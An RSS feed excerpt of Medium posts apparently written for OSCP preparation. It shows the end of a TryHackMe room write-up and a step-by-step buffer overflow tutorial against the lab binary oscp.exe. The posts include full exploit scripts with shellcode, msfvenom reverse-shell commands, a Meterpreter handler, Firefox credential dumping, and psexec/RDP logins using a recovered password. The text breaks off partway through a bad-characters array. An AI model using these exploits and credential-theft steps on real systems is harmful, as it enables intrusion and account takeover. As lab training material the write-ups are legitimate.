b”\xdc\x8d\xd0\xc0\xee\x12\x4b\x4e\x43\xda\x55\x89&quot;</blockquote><blockquote>buf += b”\xa4\xf1\x22\x05\x5b\xfa\x52\x0c\x98\xae\x02\x26&quot;</blockquote><blockquote>buf += b”\x09\xcf\xc8\xb6\xb6\x1a\x5e\xe6\x18\xf5\x1f\x56&quot;</blockquote><blockquote>buf += b”\xd9\xa5\xf7\xbc\xd6\x9a\xe8\xbf\x3c\xb3\x83\x3a”</blockquote><blockquote>buf += b”\xd7\xb6\x58\x74\xca\xaf\x5c\x74\x1d\x33\xe8\x92&quot;</blockquote><blockquote>buf += b”\x77\x23\xbc\x0d\xe0\xda\xe5\xc5\x91\x23\x30\xa0&quot;</blockquote><blockquote>buf += b”\x92\xa8\xb7\x55\x5c\x59\xbd\x45\x09\xa9\x88\x37&quot;</blockquote><blockquote>buf += b”\x9c\xb6\x26\x5f\x42\x24\xad\x9f\x0d\x55\x7a\xc8&quot;</blockquote><blockquote>buf += b”\x5a\xab\x73\x9c\x76\x92\x2d\x82\x8a\x42\x15\x06&quot;</blockquote><blockquote>buf += b”\x51\xb7\x98\x87\x14\x83\xbe\x97\xe0\x0c\xfb\xc3&quot;</blockquote><blockquote>buf += b”\xbc\x5a\x55\xbd\x7a\x35\x17\x17\xd5\xea\xf1\xff”</blockquote><blockquote>buf += b”\xa0\xc0\xc1\x79\xad\x0c\xb4\x65\x1c\xf9\x81\x9a”</blockquote><blockquote>buf += b”\x91\x6d\x06\xe3\xcf\x0d\xe9\x3e\x54\x3d\xa0\x62&quot;</blockquote><blockquote>buf += b”\xfd\xd6\x6d\xf7\xbf\xba\x8d\x22\x83\xc2\x0d\xc6&quot;</blockquote><blockquote>buf += b”\x7c\x31\x0d\xa3\x79\x7d\x89\x58\xf0\xee\x7c\x5e”</blockquote><blockquote>buf += b”\xa7\x0f\x55&quot;</blockquote><blockquote>#0x080414c3</blockquote><blockquote>buffer = b”A” * 146 + b”\xc3\x14\x04\x08&quot; + b”\x90&quot; * 32 + buf</blockquote><blockquote>try:</blockquote><blockquote>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</blockquote><blockquote>s.connect((“<strong>10.10.200.38</strong>” ,31337))</blockquote><blockquote>s.send((buffer + b”\r\n”))</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>An we get your shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lEk1Vjnu52tOv4-DI3hCPg.png" /></figure><p>Now we need to achieve our flags to complete this room lets look around how we can find that.</p><p>So we found our first flag in the same working directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*G3JQ8wOrCknl-GuOGhahcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*3ULKYT4iQfR-tkb4LMYidg.png" /></figure><p>Due to some network issue my tryhackme machine got stuck so need to restart the machine leds to an ip change and also the session was not stable so what i did i did the same using metasploit.</p><p>Regenerate the payload and set the script.</p><blockquote><strong>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.48.237 LPORT=4444 -e x86/shikata_ga_nai -f exe -b “\x00\x0A” -f python -v payload</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*uq4JU--Z2d3ZEWE89S3yrw.png" /></figure><p>Copy the payload to our script.</p><p>Now use Metasploit listener.</p><blockquote>msf6 &gt;<strong> use exploit/multi/handler</strong></blockquote><blockquote>[*] Using configured payload generic/shell_reverse_tcp</blockquote><blockquote>msf6 exploit(multi/handler) &gt;<strong> set payload windows/meterpreter/reverse_tcp</strong></blockquote><blockquote>payload =&gt; windows/meterpreter/reverse_tcp</blockquote><blockquote>msf6 exploit(multi/handler) &gt; <strong>set lhost tun0</strong></blockquote><blockquote>lhost =&gt; tun0</blockquote><blockquote>msf6 exploit(multi/handler) &gt;<strong> set lport 4444</strong></blockquote><blockquote>lport =&gt; 4444</blockquote><blockquote>msf6 exploit(multi/handler) &gt;<strong> exploit</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*IUR6I9Z0J_w6_LrA8hr-5A.png" /></figure><p>Now we need to find Root.txt</p><p><strong>#FINAL TASK PRIVILEGE ESCALATION.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Q16id1x3m0RzElKV8kgnBg.png" /></figure><p>Nothing interesting</p><p>In Desktop i found Firefox.Ink</p><p>Firefox.lnk this is shortcut icon thats meaning this machine have firefox browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*R0ovuqqmm8HDCH-GLO4ITA.png" /></figure><p>ok now press ctrl+z in meterpreter shell and choose yes kept it in background</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*hFkREZ6JLYyfgwTWMmcW2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AKeCfwRbbc5LTQH4gGDBUw.png" /></figure><p>This module will collect credentials from the Firefox web browser if it is installed on the targeted machine. Additionally, cookies are downloaded. Which could potentially yield valid web sessions. Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using 3rd party tools or by setting the DECRYPT option to true.</p><blockquote>msf6 exploit(multi/handler) &gt; use post/multi/gather/firefox_creds</blockquote><blockquote>msf6 post(multi/gather/firefox_creds) &gt;</blockquote><blockquote>msf6 post(multi/gather/firefox_creds) &gt; options</blockquote><blockquote>msf6 post(multi/gather/firefox_creds) &gt; set session 2</blockquote><blockquote>session =&gt; 2</blockquote><blockquote>msf6 post(multi/gather/firefox_creds) &gt; exploit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*qo8LdCPjGBoWiay6qPKClA.png" /></figure><p>We have dumped the credentials to our kali machine /root/.msf4/loot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*j40wndCA5w4A_g6Qik_SPg.png" /></figure><p>We will decrypt this using a firefox decrypt tool</p><blockquote><a href="https://github.com/unode/firefox_decrypt">https://github.com/unode/firefox_decrypt</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*PeewVN9Q0e8A-hPJ4tNLCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*k5ojyPBTtvQrsdD_wWzI5A.png" /></figure><p>We will now use psexec.py to connect to the server.</p><p><a href="https://github.com/fortra/impacket/blob/master/examples/psexec.py">https://github.com/fortra/impacket/blob/master/examples/psexec.py</a></p><blockquote><strong>python3 psexec.py mayor:8CL7O1N78MdrCIsV@10.10.74.127</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*fe_RDSk63tUYrdBSLefEAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*VFdwe-8q7ZE3Gcf3qmQ4FA.png" /></figure><p>And now we are root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*HifIkA53CHbaSU_BO-xSkw.png" /></figure><p>Lets navigate to the Desktop and gather the root flag to complete this room.</p><p>You can also use take RDP session using those credentials.</p><blockquote><strong>xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:10.10.74.127 /workarea</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*Gbk0lVCoA88oCI1JGWMsHQ.png" /></figure><p><em>Thank you for reading this blog. While attempting this challenge I learned so many things. This was unique target with unique vulnerability.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=980e072152d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Buffer Overflow Pre p— OVERFLOW1 — oscp.exe]]></title>
            <link>https://medium.com/@akbar47873/buffer-overflow-pre-p-overflow1-oscp-exe-8c237039769?source=rss-5d294ef2521------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c237039769</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ecpptv2]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[Akbar Khan]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 07:33:30 GMT</pubDate>
            <atom:updated>2023-09-06T07:33:30.148Z</atom:updated>
            <content:encoded><![CDATA[<h3>Buffer Overflow Pre p— <strong>OVERFLOW1 — oscp.exe</strong></h3><p>There are total of 10 Labs from OVERFLOW1-OVERFLOW10, ill guide you from very basis conceptually so that you can solve rest of the other labs on your own.</p><p><strong>About The Labs</strong></p><p>This is an amazing room created by Tib3rius which contains everything if you are going for OSCP and ECPPT certifications exams.</p><p>Will try to make it as easy as I can , might be a bit lengthy but will try to cover all the does and don’t’s.</p><p>Note — We are not going to use tryhackme guide as I find it little difficult as a beginner.</p><p><strong>Lab Requirement</strong></p><p>1 — Windows 7 Machine (immunity debugger installed)</p><p>2 — Kali Linux Machine</p><p>But in this labs we are using tryhackme machine which is pre-configured with the above requirement so lets jump into it.</p><p>Command to connect to the machine /workarea is a special input which gives full screen access of the machine.</p><blockquote><strong>xfreerdp /u:admin /p:password /cert:ignore /v:10.10.70.85 /workarea</strong></blockquote><p>Once connected, If asked for network selection select Home Network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*dQUAscVbB0Zuc-J1kWNE5Q.png" /><figcaption>Windows Victim Machine</figcaption></figure><p>As we can we have vulnerable application and immunity debugger preconfigured in this machine.</p><p>In vulnerable folder there will be an executable oscp that we are going to use.</p><p>lets see what this oscp.exe does.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*PVQ1sx-Z5GoU33nPc1QsDg.png" /><figcaption>oscp.exe</figcaption></figure><p>It is listening on port 1337, what we can do here is from our attacker machine try to connect via nc.</p><p>Run this from attacker terminal.</p><blockquote><strong>nc 10.10.70.85 1337</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*0_Pscdsq6932EWVCap6YQg.png" /></figure><p>What happened at Victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*CZclWddibJPH0QDPN_6LoA.png" /></figure><p>Above shown is the general case which is an ideal functionality.</p><p><strong>#Test Case1</strong></p><p>From attacker machine we will try to specify something which is much more greater then test_akbar.</p><p>From where this idea arrive ? as we are solving the buffer overflow room what we are try here is to overflow the buffer, which means we are going to send the huge amount of data so might be possible that this application will crash.</p><p>So to send a huge amount of data what I have planned is to use python to generate A*1000 and the we will send the same.</p><p>First we share 1000 A’s but the application was capable to respond the OVERFLOW1 COMPLETED.</p><p>So now we are increasing the no of A’s for 1000 — → 2000 and lets see the behaviour.</p><blockquote><strong>&gt;&gt;&gt; print(“A”*2000)</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*MEF0VhhpRpbzUc2Gl-byjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*9U21ArJFg0sqyQMP0MwB0A.png" /></figure><p>No check the application end.</p><p>The Application Crashed and hence we came to know that there is a bufferoverflow vulnerability.</p><p>In Some cases you will receive a error called segmentation fault so it means you are try to access that part of a memory which you are not allowed to access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*YkNMbCEmaELkPPK5sB7q-w.png" /><figcaption>oscp.exe crashed</figcaption></figure><p><strong>#Test Case2</strong></p><p>So now we will write a python script to automate this , there are some scripts available in the tryhackme room as well to crash / controlling EIP but we are not using that.</p><p>Below is the script2.py you can name the script as per your desire.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((<strong>“10.10.70.85”,1337</strong>)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote><strong>payload =[b”A”*2000]</strong> #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>lets run this script with out running the oscp.exe to check whether its working fine, we should get an error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*VhtxsblxL2ESnfmwAF4dTg.png" /></figure><p>but there is one issue in our script and this is an intentional issues which you all will do is we will directly sending our payload without using the valid command, in this labs our Command is</p><p>So we need to specify OVERFLOW1 in our script then space the our value as shown below.</p><blockquote><strong>OVERFLOW1 [value]</strong></blockquote><p>Rediting the script.</p><p>marked in blod was creating the problem.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =<strong>[b’OVERFLOW1 ‘ + b’A’*2000</strong>] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote><strong>payload=b””.join(payload)</strong> #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>Now lets run the oscp.exe and run the script.</p><p>Ensure that oscp.exe is running before executing the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*39HpLKNl9ap5G6UBuzJA1w.png" /></figure><p>Now check the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*0xvfnzKY31i6r6k1ovsBsQ.png" /></figure><p>It got crashed means our script is working Super COOL.</p><p><strong>#Test Case3</strong></p><p>For here I am going to use Immunity Debugger because I need to figure our some registers and some other things and play some stuffs so that we get a reverse shell from this machine.</p><p>Lets start immunity debugger now.</p><p>Once Open you have to methods of finding the executable 1 is you can run the executable and attach the other is you can directly open the .exe file.</p><p>Recommended is to Open the .exe file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*D23-jYIydOyE9WL35ij7zg.png" /></figure><p>Once open it will be in paused state.</p><p>As show below we need to run this and it should be in running state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-z8a44XqKpZmqSZ_wKPcA.png" /></figure><p>Now we are running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*Lf6BtECsjo8XysGcpZpaOQ.png" /></figure><p>So what we are going to do is we will run our script2.py and see in my immunity debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*CxH7M6vD_ES_9Hrf2S95kg.png" /></figure><p>The application should crash and be the immunity debugger will be moved to Paused again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PmG6yHv3S2DFMzQuumsodQ.png" /></figure><p>Observe the Registers CPU</p><p>41414141 — is the Hexadecimal representation of char AAAAAAA</p><p>The most Important pointer to see below is EIP — it is overwriten as 414141</p><p>So it means due to overflow our AAAAA’s are crossing EIP and Entering ESP as show below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*SFCI6iGXin5n2TfIV2jRaQ.png" /></figure><p>So now what are interested here is to gain complete control over EIP.</p><p>EIP is the instruction pointer which will try to execute the next line of the code.</p><p><strong>#Challenge here</strong></p><p>We need to find the exact index of offset of this EIP so that we can take a complete control to this.</p><p>But our problem is we sended 2000 times AAAA’s so there is no way to figure out at what point the EIP is starting</p><p>whether it is 1500/1600/1700 or any inbetween value we cant assume it.</p><p>What we know is we sended 2000 A’s and My A’s are coming over EIP so for this purpose we are going to use cyclic pattern.</p><p>Cyclic pattern will help us to get to know this in few minutes like at which point my A’s are coming over EIP.</p><p>We will create pattern of length 2000 characters, this pattern will go over the EIP values and check my EIP having the same pattern and from that pattern ill come to know at what pattern my EIP is starting.</p><blockquote><strong>msf-pattern_create -l 2000</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0AS1Doly0K_78Os2KGbbg.png" /></figure><p>Now lets copy this pattern in our payload.</p><p>Remove A*2000 from the script2.py and paste the above pattern.</p><blockquote>!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ + b<strong>’pattern</strong>’] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>How it actually looks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*SJzrnKczEIpE4Y0UFF-e9g.png" /></figure><p>Save this, restart immunity debugger and run oscp.exe and run it.</p><p>Run the script2.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*qjGtTDNEq78kSqwGTcTckA.png" /></figure><p>Again the application will crashed but now identify the EIP value.</p><p>EIP 6F43396E this is a unique number now, and using this number we can find the index/offset where it Is getting overwritten on EIP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*cXgSmmQvsH1jwrRdJkoQ4w.png" /></figure><p>To find the pattern where the EIP is overwritten as per the above value 6F43396E.</p><p>we are going to use a another tool which is <strong>msf pattern offset</strong></p><blockquote><strong>msf-pattern_offset -l 2000 -q 6F43396E</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*L2HPcvPPg7Y9XBAxCB_6VA.png" /></figure><p>So now we found the exact match.</p><p>So this specifies that the EIP is starting from 1978.</p><p>what ever we will written after 1978 it will be overwritten to EIP.</p><p><strong>Re-edit the script2.py</strong></p><p>In the below script the B character will be written over EIP.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ +<strong> b’A’*1978 + b’B’*4</strong>] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><p>Save this, restart immunity debugger and run oscp.exe and run it.</p><p>Run the script2.py</p><p>Application crashed</p><p>Now my EIP is overwritten to 42424242 which is a hexadecimal conversion of char B.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*38T4OFzzAemfk41CArsY_Q.png" /></figure><p>Let see If we send something after B where it goes.</p><p><strong>Re-edit the script2.py</strong></p><p>We have added C char 100 times.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ + b’A’*1978 + b’B’*4 <strong>+ b’C’*100]</strong> #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*pFiiuB9h_0qxwq2dZz7Gvg.png" /></figure><p>EIP consist — 42424242 which is char B</p><p>EAX consist our AAAAA</p><p>and in</p><p><strong>ESP I am having the the C character this is extremely important to know because this is where I am going to be malicious</strong></p><p>So now we have a control over ESP as well.</p><p>What if I jump EIP or I tell this EIP that go to ESP, so what it will do is it will go to ESP and if I put my malicious shell code instead of C character as above, what EIP will do is it will go to ESP and run that malicious code.</p><p>That’s the whole idea we are working for.</p><p><strong>IF you came along this long Congratulations!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.</strong></p><p><strong>#Malicous Task</strong></p><p>TO do the Jumping task we need to use a python script called Mona.</p><p>as we are using tryhackme machine so they have already installed that in immunity debugger.</p><p>but lets see from where you can get and where to keep.</p><p><a href="https://github.com/corelan/mona">GitHub — corelan/mona: Corelan Repository for mona.py</a></p><p>Download the script mona.py and move to the immunity debuggers python folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*NIccowd2lVt2pOF28HPfsA.png" /></figure><p>Move mona.py here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*CtldpSQyiufuKssuwdllAw.png" /></figure><p>to invoke mona</p><blockquote><strong>!mona</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*djSLhV_k02Na7FvfoYEAlQ.png" /></figure><p>we are going to use this jump command to jump from EIP to ESP.</p><blockquote><strong>!mona jmp -r esp</strong></blockquote><p>here your mona terminal will be invoked again type !mona to get back the status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xy6jgcKifJQ01FmeWVN9gQ.png" /></figure><p>We have found a total of 9 pointers.</p><p>You can choose any one from this , but I will choose the 1 which have all FALSE.</p><p>We are using the first 1 0x625011af</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/149/1*i2aouN2ZddY_lzmObpPszg.png" /></figure><p>now the problem here is whenever I use this address I need to convert that to little indian format.</p><p>Don’t worry we will learn.</p><p>my address was 0x625011af</p><p>the easiest way is to just reverse it and place \x</p><p>in reverse order take 2 char at a time as show below.</p><blockquote><strong>\xaf\x11\x50\x62</strong></blockquote><p>Redit the script2.py and paste this little indian value in place of B.</p><blockquote>#!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote>try:</blockquote><blockquote>s=socket.socket() #use to connect the machine</blockquote><blockquote>s.connect((“10.10.70.85”,1337)) #connect is a function</blockquote><blockquote>s.recv(1024) #1024 is byters</blockquote><blockquote>payload =[b’OVERFLOW1 ‘ + b’A’*1978 + b<strong>’\xaf\x11\x50\x62&#39;</strong> + b’C’*100] #as we are using python3 we need to mention the strings in bytes</blockquote><blockquote>payload=b””.join(payload) #as the above payload consist of 2 things so we will join this using a join function.</blockquote><blockquote>s.send(payload)</blockquote><blockquote>s.close()</blockquote><blockquote>except:</blockquote><blockquote>print(“cannot connect to the server Akbar”) #error messsage if it cant connect</blockquote><blockquote>sys.exit()</blockquote><blockquote>#0x625011af \xaf\x11\x50\x62 #badcharacters</blockquote><p>Why we are doing this is this is the jump address and I want to jump the address and enter to C buffer where ill upload the malicious code.</p><p>We will also set a break point, I am setting this is whenever this value 0x625011af comes just stop it right there.</p><p>Click on assemble and disassemble box and CTRL+G</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*DxoUSlE1eN9AKNzvbgZT4g.png" /></figure><p>The ESP jmp instruction is set to FFE4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*wfmRp3HHSis5LkvE6AtrsQ.png" /></figure><p>Now our break point is set.</p><p><strong>Run the script2.py</strong></p><p>Check immunity debugger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*K_Cxs9wXRsqKS1aWhnLW4w.png" /></figure><p>Now the EIP is set to 625011AF which is jmp instruction,now where to jump, jmp over ESP now we will make a malicious code and paste in ‘C’</p><p>There is one major character which will face is will let you know further.</p><p>Lets make a malicious payload.</p><blockquote><strong>msfvenom -p windows/shell_reverse_tcp LHOST=10.11.48.237 LPORT=2306 -f py</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*51YUNmaGFUV42wNddpZRmg.png" /></figure><p><strong>We get a shell code which is giving me a buf variable, all of this are in bytes but the problem here is the shellcode has some bad characters which are not allowed to use in vulnerable program.</strong></p><p><strong>if any of the bad char is used we are never gonna get reverse shell.</strong></p><p><strong>#Find Bad characters</strong></p><p>Find bad character and remove it from our payload.</p><p>google what are bad characters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*hSTJ-EkME0oqy7HtWhm7yw.png" /></figure><blockquote><a href="https://github.com/cytopia/badchars">https://github.com/cytopia/badchars</a></blockquote><p>copy this bad char in our script2.py but before running pad b as they are not in bytes.</p><blockquote><strong>badchars=(<br> “\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10””\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;”\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;”\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;”\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;”\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;”\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;”\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;”\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;”\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;”\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;”\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;”\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;”\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;”\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;”\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)</strong></blockquote><p>Paste the above characters in script.</p><blockquote>!/usr/bin/env python3</blockquote><blockquote>import socket</blockquote><blockquote>import sys</blockquote><blockquote><strong>badchars = (</strong></blockquote><blockquote><strong>b”\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10&quot;</strong></blockquote><blockquote><strong>b”\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;</strong></blockquote><blockquote><strong>b”\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;</strong></blockquote><blockquote><strong>b”\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;</strong></blockquote><blockquote><strong>b”\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;</strong></blockquote><blockquote><strong>b”\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;</strong></blockquote><blockquote><strong>b”\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;</strong></blockquote><blockquote><strong>b”\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;</strong></blockquote><blockquote><strong>b”\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;</strong></blockquote><blockquote><strong>b”\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;</strong></blockquote><blockquote><strong>b”\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;</strong></blockquote><blockquote><strong>b”\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;</strong></blockquote><blockquote><strong>b”\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;</strong></blockquote><blockquote><strong>b”\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;</strong></blockquote><blockquote><strong>b”\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;</strong></blockquote><blockquote><strong>b”\xf1\xf2\x